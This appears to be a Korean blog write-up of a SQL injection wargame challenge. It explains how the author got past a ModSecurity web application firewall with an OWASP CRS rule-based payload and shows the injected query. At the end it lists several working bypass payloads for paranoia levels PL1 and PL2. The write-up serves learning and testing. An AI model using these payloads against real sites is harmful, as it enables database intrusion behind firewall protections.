최근에 바빠서 포스팅이 없었다..ㅠㅠ.. 짬내서라도 계속 올리도록 노력하자..
문제의 내용은 위와 같다. 해당 문제의 소스코드는 그리 복잡하진 않다.
하지만, 해당 문제에는 modsecurity라는 웹 방화벽이 존재하여 이를 우회하여야만 문제풀이가 가능하다.
해당 문제에 적용된 modesecurity는 3.1.0(2019.05) 최신버전으로 최신버전에서 현재 취약점이 발생한거 같아 보인다.
척척박사 구글로 검색해보자. 아래의 링크를 발견했다. https://github.com/SpiderLabs/owasp-modsecurity-crs/issues/1181
현재, modesecurity 최신버전의 방화벽 우회는 MySQL에서만 가능하다고 한다. 위의 링크에서 공격 가능한 payload 중 하나를 써먹어보자
-1'<@=1 OR {a 1}=1 OR '
위의 구문을 이용하여 공격을 진행해보기로 하자.
id=-1'<@=1 OR 1=1 OR '&pw=1
해당 구문을 공격에 활용하면 결과적으로 문제풀이가 성공적으로 이루어진다.
중간 구문인 {a 1}=1은 테스트를 진행해볼 경우 결과가 true가 되며, select {a 1}을 하면 1이 출력된다. 아마도 이런 이유에서 true라는 결과가 나오는지도 모르겠다. https://dev.mysql.com/doc/refman/5.7/en/expressions.html
첫번째 구문인 '-1'<@=1 의 경우 결과가 null이 되며, 그 이유는 아래의 이미지를 참고하도록 하자.
결과적으로 전달되는 쿼리는 아래와 같다.
select id from prob_cthulhu where id='-1'<@=1 OR 1=1 OR '' and pw='1'
위와 같은 쿼리가 삽입될 경우 첫번째 구문 '-1'<@=1 은 NULL 값이 결과로 반환되며, 두번째 구문 1=1은 TRUE 값이 결과로 반환된다.
문제에서는 어떤 ID라도 존재하는 ID일 경우 문제풀이가 성공적으로 이루어지기 때문에 위의 쿼리 삽입시 문제풀이가 완료되게 된다. :)
++ Bypass PayLoad(Sample)
- Following queries would bypass the protections of SQL injection attempts in PL1:
- a'+(SELECT 1)+'
- -1' AND 2<@ UNION/*!SELECT*/1, version()'
- Following queries would bypass the protections of SQL injection attempts in PL2:
- -1'<@=1 OR {a 1}=1 OR '
- -1'<@=1 OR {x (select 1)}='1
- a'+(SELECT 1)+'
|